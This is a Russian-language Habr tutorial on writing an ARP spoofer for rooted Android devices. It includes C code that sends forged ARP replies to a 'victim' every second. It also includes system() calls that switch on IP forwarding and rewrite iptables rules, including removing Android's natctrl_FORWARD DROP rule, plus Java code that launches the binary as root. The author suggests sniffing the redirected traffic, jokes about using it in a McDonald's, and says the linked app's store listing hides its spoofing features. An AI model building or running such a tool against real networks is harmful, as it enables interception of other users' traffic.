Pull to refresh

Пишем ARP Spoofer под Android. Разработка Root инструментов под Android

Reading time 12 min
Views 18K
Перед вами моя первая статья на этом замечательном ресурсе, потому не судите слишком строго. Конструктивная критика, поправки и дополнения приветствуются.

Так как это моя первая статья здесь, предлагаю начать со знакомства. Кому-то может показаться, что мой ник( First Row) звучит слишком пафосно, поэтому хочу, так сказать, прояснить ситуацию. Я часто подписывался «First row viewer», что означает «зритель в первом ряду». Но при регистрации аккаунта разработчика на Google Play оказалось, что символов слишком много. Пришлось оставить просто «First Row».

Что-ж, мы несколько отклонились от темы, и многим, наверняка, начала порядком надоедать моя болтовня( а внизу-то букв еще много). Поэтому предлагаю перейти непосредственно к нашей теме.

Прежде всего скажу, что здесь мы не будем разбирать IP-маршрутизацию, работу ARP-протокола и теорию самого Spoofing'а (на эту тему я видел пару прекрасных статей на Хабре). Так же предполагается, что вы знаете языки С, Java и имеете хотя бы минимальные навыки разработки под Android. Перейдем сразу к практике, в нашем случае к реализации. Для начала разберемся с инструментами. Лично я пользуюсь Eclipse с плагином ADT и установленным Android NDK (в нашем случае большая часть кода будет писаться как раз в нэйтиве). Возможно, вы будете редактировать сорцы в блокноте и собирать ручками через терминал, или использовать Android Studio, или что нибудь еще. В этом случае, может оказаться, что некоторые мои рекомендации можно будет опустить. В данной статье же я хочу рассказать в том числе о некоторых подводных камнях и граблях, на которые наступил, когда взялся за свой первый проект под Android.

Итак, нам в голову пришло написать простенький ARP Spoofer под Android. Что же нам потребуется? Для начала вспомним, что наша программа-оболочка будет написана на Java (NativeActivity мы трогать не будем). Но ведь Java не даст нам необходимого функционала для реализации задуманного. Многим в голову могло прийти «JNI». Нет. Это тоже не подойдет. Чтобы наша нативная программа обладала Root привилегиями, придется запускать отдельный процесс, и уже из под рута запускать нашу программу. Если для пользователей *nix подобных систем это вполне очевидно, то для остальных хотелось бы сразу осветить данный момент, чтобы в дальнейшем не возникало вопросов. Что-ж, с этим мы решили. Напишем нативную программку (не библиотеку), которая будет запускаться из Java кода, под Root'ом. Привилегии суперпользователя необходимы нам для работы с Raw сокетами, а так же затем, чтобы добавить необходимые правила в iptables, но об этом чуть позже.

Предлагаю начать с самой нативной программы. Можете пока создать новый проект и ничего больше. Поддержку JNI в проект добавлять не спешите (это мы сделаем после рассмотрения нескольких подводных камней). Пока же предлагаю создать наш исходник, назвать его arpspoof.c. К Android.mk мы так же обратимся несколько позже.

Для начала разберемся с самой программой. Здесь я не буду приводить пример полноценного ARP спуфера, который сам узнает необходимые MAC адреса. Допилить его до более приличного вида вы можете самостоятельно, при необходимости. Моя же задача привести небольшой по размеру пример, который может помочь кому то сэкономить массу времени (возможно, я плохо искал, но когда я начинал, мне очень не помешал бы подобный пример. Речь в данном случае не о самом спуфере, а о том, как правильно запилить это дело под андроид). Итак, на входе мы будем принимать:

1) IP адрес жертвы;
2) MAC адрес жертвы;
3) IP адрес шлюза (или под кого вы хотите «маскироваться»);
4) Наш MAC адрес (ну или того, на кого вы хотите «перевести» траффик жертвы).

Принимать их мы будем в виде ключей. Далее в цикле с некоторым интервалом (например, 1 с) будем отправлять ARP ответ с указанными адресами. Прежде чем приступать, давайте разберемся с форматом ARP заголовка (заглянем для этого в if_arp.h и рассмотрим поля нужной структуры):

struct arphdr
  {
    unsigned short int ar_hrd;          /* Format of hardware address.  */
    unsigned short int ar_pro;          /* Format of protocol address.  */
    unsigned char ar_hln;               /* Length of hardware address.  */
    unsigned char ar_pln;               /* Length of protocol address.  */
    unsigned short int ar_op;           /* ARP opcode (command).  */
#if 0
    /* Ethernet looks like this : This bit is variable sized
       however...  */
    unsigned char __ar_sha[ETH_ALEN];   /* Sender hardware address.  */
    unsigned char __ar_sip[4];          /* Sender IP address.  */
    unsigned char __ar_tha[ETH_ALEN];   /* Target hardware address.  */
    unsigned char __ar_tip[4];          /* Target IP address.  */
#endif
  };

В принципе, здесь все понятно. Поясню лишь некоторые значения:

ar_hrd — для Ethernet будет ARPHDR_ETHER;
ar_pro — в нашем случае ETH_P_IP;
arp_op — мы будем слать ARP ответы, поэтому ARPOP_REPLY.

С остальным вопросов, полагаю, ни у кого возникнуть не должно, размеры ip и mac адресов в байтах, ну и сами адреса.

Что-ж, с заголовком ARP разобрались. В нашем пакете он будет идти следом за Ethernet заголовком. Давайте же разберем и его тоже. Посмотрим в if_ether.h:

struct ethhdr {
        unsigned char   h_dest[ETH_ALEN];       /* destination eth addr */
        unsigned char   h_source[ETH_ALEN];     /* source ether addr    */
        unsigned short  h_proto;                /* packet type ID field */
} __attribute__((packed));

Здесь вопросы могут возникнуть лишь с полем h_proto (протокол). В нашем случае это будет ETH_P_ARP. Для удобства я объединил эти две структуры в одну и заменил тип для IP-адресов с char[] на unsigned long, дабы заталкивать адрес в нужное поле обычным присваиванием. Такая вот будет структура пакета целиком:

struct  my_arp_packet
{
  unsigned char	h_dest[ETH_ALEN];	        /* destination eth addr */
  unsigned char	h_source[ETH_ALEN];	/* source ether addr */
  unsigned short h_proto;                                /* packet type ID field */


  unsigned short int ar_hrd;		         /* Format of hardware address.  */
  unsigned short int ar_pro;		         /* Format of protocol address.  */
  unsigned char ar_hln;				 /* Length of hardware address.  */
  unsigned char ar_pln;				 /* Length of protocol address.  */
  unsigned short int ar_op;			 /* ARP opcode (command).  */
  unsigned char ar_sha[ETH_ALEN];       /* Sender hardware address.  */
  unsigned long ar_sip;				 /* Sender IP address.  */
  unsigned char ar_tha[ETH_ALEN];	 /* Target hardware address.  */
  unsigned long ar_tip;				 /* Target IP address.  */
} __attribute__((packed));

И, наконец, наша функция для отправки ARP ответов:

void arp_reply_send(char *iface_name, unsigned long src_ip, unsigned char *src_mac, unsigned int dest_ip, unsigned char *dest_mac)
{
	struct my_arp_packet arp;

	// заполняем Ethernet заголовок
	memcpy(arp.h_dest,dest_mac,ETH_ALEN);
	memcpy(arp.h_source,src_mac,ETH_ALEN);
	arp.h_proto=htons(ETH_P_ARP);

	// заполняем ARP заголовок
	arp.ar_hln = ETH_ALEN;
	arp.ar_pln = 4;
	arp.ar_hrd = htons(ARPHRD_ETHER);
	arp.ar_pro = htons(ETH_P_IP);
	arp.ar_op = htons(ARPOP_REPLY);
	memcpy(arp.ar_sha,src_mac,ETH_ALEN);
	memcpy(arp.ar_tha,dest_mac,ETH_ALEN);
	arp.ar_sip=src_ip;
	arp.ar_tip=dest_ip;

	// создаем сокет, отправляем пакет с указанного интерфейса
	int sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP));
        struct sockaddr adr;

	strcpy(adr.sa_data, iface_name);
	adr.sa_family = AF_INET;

	sendto(sock, (void*)&arp, sizeof(struct my_arp_packet), 0, (struct           sockaddr *)&adr, sizeof(struct sockaddr));

	close(sock);
}

Теперь напишем функцию main. Тут все достаточно тривиально. Единственное, хочу обратить ваше внимание на вызовы system(), где мы добавляем в iptables правило forward accept, разрешаем маршрутизацию (единичка в ip_forward). Так же, когда я переносил свой проект под Android 5.x, то обнаружил в iptables правила DROP all в табличке natctrl_FORWARD. Это мы тоже учтем (кстати, данное правило, насколько мне известно, встречается и на Android 4.4. На более ранних версиях я этого не встречал).

Итак, наш код:

int main(int argc, char **argv)
{
        // получаем IP и MAC адреса из ключей
	unsigned long dest_ip=inet_addr(argv[1]);
	unsigned long src_ip=inet_addr(argv[3]);

	unsigned char dest_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];

	str_to_mac(dest_mac, argv[2]);
	str_to_mac(src_mac, argv[4]);

        // включаем маршрутизацию и разрешаем в iptables
	system("echo 1 > /proc/sys/net/ipv4/ip_forward");
	system("iptables -A FORWARD -j ACCEPT");

        // то самое правило, вбитое изначально в андроид 4.4 и выше
	system("iptables -D natctrl_FORWARD -j DROP");
	system("iptables -A natctrl_FORWARD -j ACCEPT");

	while(1)
	{
		arp_reply_send(my_interface, src_ip, src_mac, dest_ip, dest_mac);

		sleep(1);
	}
}

Так же вы могли заметить, что в качестве первого параметра функции отправки ответа мы шлем имя интерфейса. Можете объявить/задефайнить строку «wlan0», можете принимать имя интерфейса в качестве ключа. Так как программа под телефоны и планшеты, можно обойтись заранее вбитой строкой. Вспомогательные функции вроде str_to_mac я здесь приводить не буду, вы можете ознакомиться с ними, скачав архив с исходным кодом, или реализовать самостоятельно.

Перейдем к написанию нашей Java оболочки. Думаю, ни для кого из присутствующих не составит труда накидать xml-файл с тем же LinearLayout, четырьмя EditText'ами и парой Button'ов для старта и стопа. Затем создать класс, например, MainActivity, унаследовавшись от Activity, повесить обработчики на наши кнопки (исходники полностью вы можете скачать, ссылка под катом). Здесь же я приведу лишь основную функцию, которая будет запускать нашу нативную прожку. И прежде чем привести ее описание, пришло время подумать, как именно (откуда мы будем ее запускать).

Дело в том, что чтобы мы могли запустить нашу программу, исполняемый файл должен находиться в папке приложения. То есть, для начала он должна попасть в наш пакет при сборке. Затем его не должен выбросить распаковщик APK при установке на конечное устройство. Это два основных момента, из-за которых по началу могут возникнуть сложности, если проект содержит не либу, а исполняемый файл. Не забываем, что собирая наш бинарник не как библиотеку, а как исполняемый файл, мы получим на выходе файл с названием, не соответствующем тому, как должна называться библиотека. Это значит, что такой файл просто напросто не попадет в наш пакет при сборке (речь в данном случае о папке lib проекта). Если же просто добавить расширение .so, задав имя модуля, в APK файл он попадет, но будет выброшен программой установки на конечном устройстве. А добавить в module name приставку lib нам не дают. Такая вот проблема, толкового описания/решения которой в свое время я нигде не нашел. Хотя, возможно, просто плохо искал. Но, возможно, это так же связано со «спецфичностью» подобных программ, ведь нам дают JNI интерфейс, и для сборки программы с библиотечкой лишних действий от нас действительно не требуется. А вот как быть, если в проект должны входить исполняемые файлы? Итак, у нас 2 варианта, каждый со своими плюсами и минусами:

1) Не добавлять в проект поддержку JNI, а ручками создать в папке libs проекта необходимые папки(armeabi, x86 при необходимости). Компилить нэйтив код в другом проекте, а затем, (! важно)копировать каждый бинарник в /libs/armeabi или x86 в следующем виде: libИМЯ_ПРОГРАММЫ.so. Вариант неплохой, сам поначалу его использовал. Но хотелось все же сборки всего сразу одной кнопочкой из среды разработки. Тем более, основная работа то в моем случае была как раз в native, и было очень неудобно переносить кучу бинарников моих утилит и переименовывать их при этом(или по одному, в зависимости от того, сколько изменений было внесено и куда). Плюс же метода состоит в том, что если вы использовали, скажем, уже готовые сорцы, и изменять их в процессе работы не потребуется(если работа идет только над Java частью), то этот метод действительно будет менее затратным.

2) Добавить в проект поддержку jni, все как обычно, но после описания сборки каждого файла приписать следующий код:
$(shell mv ${NDK_APP_DST_DIR}/НАЗВАНИЕ_БИНАРНИКА ${NDK_APP_DST_DIR}/libНАЗВАНИЕ_БИНАРНИКА.so)
а в самом начале нашего Android.mk задать
SHELL:=/bin/sh
Т.е. сразу после сборки каждый бинарь будет переименовываться в нужный нам формат. Недостаток у данного способа один — при каждой сборке проекта, бинарники переименовываются в изначальный вид самой программой сборки. Чтобы отработал наш скрипт, последним измененным файлом должен быть Android.mk. То есть перед каждой сборкой проекта вам придется открывать его, ставить, к примеру, пробел, затем уже собирать. То же касается экспорта в APK файл для маркета. Правим Android.mk, сохраняем, экспортируем. В этом случае все будет хорошо. Все же при использовании этого способа рекомендую следить за размером конечного APK файла, если наши файлы таки туда не попали по какой то причине, размер его будет меньше (насколько — зависит от кол-ва сборок, используете ли вы статическую линковку и т.д., но изменения размера будут в любом случае).

Можно, конечно, еще подгружать необходимые файлы с сервера при запуске программы или придумать что-то еще в этом духе, но, на мой взгляд, подобным подходам не место в данной статье. Так же можно собирать ручками из консоли, при ручной сборке-то имя выходного файла мы можем задать любое. Но в данном случае, повторюсь, речь идет о работе, используя среду разработки. Лично я остановился на втором способе. Его же я использую в примере, исходники которого вы можете скачать сразу после статьи. Вы можете выбрать для себя любой из двух описанных способов, или, если знаете какой то другой, написать об этом в комментариях. Прежде чем мы закончим с нативной частью, я приведу вам свой Android.mk:

SHELL:=/bin/sh
LOCAL_PATH:= $(call my-dir)

include $(CLEAR_VARS)
LOCAL_CFLAGS := -std=c99
LOCAL_SRC_FILES := arpspoof.c
LOCAL_MODULE := arpspoof
include $(BUILD_EXECUTABLE)
$(shell mv ${NDK_APP_DST_DIR}/arpspoof ${NDK_APP_DST_DIR}/libarpspoof.so)

Так же хочу отметить, что для Android 4.0 и ниже стоит так же использовать статическую линковку (ключ -static для LOCAL_LDFLAGS), для 4.1 лучше уже использовать динамическую сборку.

Что-ж, со сборкой мы разобрались. Метод «хранения» нашего исполняемого файла в пакете выбрали. Вернее сказать, метод попадания того самого файла в нужную нам папку. Теперь приведу вам обещанную функцию, которую вызывает обработчик нашей кнопочки spoof:

private void start_native_app()
{
    new Thread(new Runnable() {
        public void run(){
           Process suProcess=null;
           try {
                suProcess = Runtime.getRuntime().exec("su");
                    
                DataOutputStream os = new DataOutputStream(suProcess.getOutputStream());

                String command=getApplicationContext().getFilesDir().getParent() + "/lib/libarpspoof.so";

                command+= « » + edit1.getText().toString() 
                        + « » + edit2.getText().toString()
                        + « » + edit3.getText().toString() 
                        + « » + edit4.getText().toString();
			        
                os.writeBytes(command + "\n");
	          os.close();
           } catch (IOException e) {
               // TODO Auto-generated catch block
               e.printStackTrace();
           }
        }
    }).start();
}

Здесь все просто, запускаем Thread, в котором запускаем новый процесс с командным интерпретатором под рутом(su) и через output stream пишем свою команду. Самой же командой будет полный путь к нашему исполняемому файлу + ключи. Полным путем к файлу соответственно будет /data/data/ИМЯ_ПАКЕТА/lib/НАЗВАНИЕ_ФАЙЛА.

Итак, остался только один вопрос — как завершать наш спуфер? Самый простой вариант — вызывать из под рута
killall -SIGKILL libarpspoof.so
при нажатии на другую кнопочку, предназначенную для завершения. Так же можно отлавливать, скажем, SIGINT в самой программе и делать выход из цикла в main'е. Если вы пишете более сложную программу, взаимодействующую с оболочкой, можете присылать pid процесса при запуске, затем вызывать собственную реализацию kill, и передавать ей в качестве ключа полученный pid. Этот метод я использовал в Network Utilities, дабы сделать программу менее зависимой от busybox (апплет killall таки есть не у всех), а незавершающаяся нативная программа, мягко говоря, не есть гуд. Но для нашей учебной реализации сгодится и такой метод. А вот если вы пишите приложение, которым будете пользоваться не только вы, рекомендую использовать собственную программку-завершалку (или хотя бы проверять наличие необходимого апплета busybox). В общем, для данной программы вы можете использовать любой понравившийся вам вариант. Думаю, с написанием обработчика второй, завершающей кнопки вы справитесь и без меня. Если же вдруг что — смотрим в сорцах, под статьей. Так же, чтобы немного «приукрасить» программу, вы можете делать неактивной кнопку старт при нажатии на нее, и вновь делать ее активной при нажатии на стоп. Или, скажем, использовать ToggleButton. Это уже на ваше усмотрение. Моя же задача заключается в предоставлении максимально простого примера. Мусолить тут особенно нечего, потому пойдем дальше. Осталось добавить необходимые пермишны в AndroidManifest. А это будут:

<uses-permission android:name=«android.permission.ACCESS_SUPERUSER» />
<uses-permission android:name=«android.permission.INTERNET» />

Прежде чем перейти к завершающей части статьи, я хотел бы дать вам еще пару советов на будущее:
1) Если вашу программу требуется завершать вручную, (как в данном примере), лучше позаботьтесь о том, чтобы нативная программа обязательно завершалась при выходе. Например, в обработчике кнопки выхода из приложения.
2) Сторонние программы установки пакетов(например, входящие в некоторые файловые менеджеры) при установке могут не задать атрибуты исполнения исполняемым файлам, входящим в вашу программу. Сам в свое время наступил на эти грабли. Лучше всего при запуске проверяйте атрибуты и выставляйте вручную при необходимости.

Знаю, вам, как и мне не терпится опробовать наш ARP Spoofer. Самое время это сделать. Собираем проект (вспомним, что я говорил о редактировании Android.mk), бросаем полученный APK на свой любимый рутированный телефон, вбиваем IP и MAC адреса, жмем заветную кнопочку. На компьютере-жертве открываем терминал и проверяем ARP табличку (arp -a). MAC адрес шлюза (или что вы указывали в качестве ip адреса отправителя) должен измениться на MAC адрес, прописанный вами в качестве mac отправителя. Важно — это должен быть существующий в данной сети адрес (адрес устройства, например). Но, думаю, вы и без меня это прекрасно знаете. В данном случае, запустив любой сниффер (например, входящий в Network Utilities), вы увидите пакеты, идущие от «жертвы» к шлюзу). Стало быть, задача выполнена. ARP Spoofer написан и прекрасно работает. Осталось лишь написать простенький сниффер и можно идти в ближайший макдональс (шутка, конечно).

Чтобы посмотреть пример полноценной подобной программы с кучей «фишечек» и возможностей, можете скачать Network Utilities по ссылке ниже. И да, в описании на маркете очень многие возможности и «особенности» пришлось опустить, оставив лишь пинг, traceroute и подобные безобидные мелочи. Например, вы можете взять за основу Arp spoofer, входящий туда и попробовать «допилить» до этого уровня наш скромный пример, сделав его «массовым», добавить алгоритмы «узнавания» необходимых нам адресов. Но это так, задел на будущее, вдруг кого то заинтересует. На этом, пожалуй, пора прощаться. Если статья придется по нраву сообществу, возможно, в будущем напишу еще. Например, о создании сниффера, или сетевого сканера под андроид.

И напоследок приведу ссылки:

Ссылка на архив с сорцами спуфера: rghost.ru/87t2Y58Nn
Обещанная ссылка на Network Utilities (не реклама): play.google.com/store/apps/details?id=com.myprog.netutils

Спасибо за внимание.
Tags:
Hubs:
+11
Comments 0
Comments Leave a comment

Articles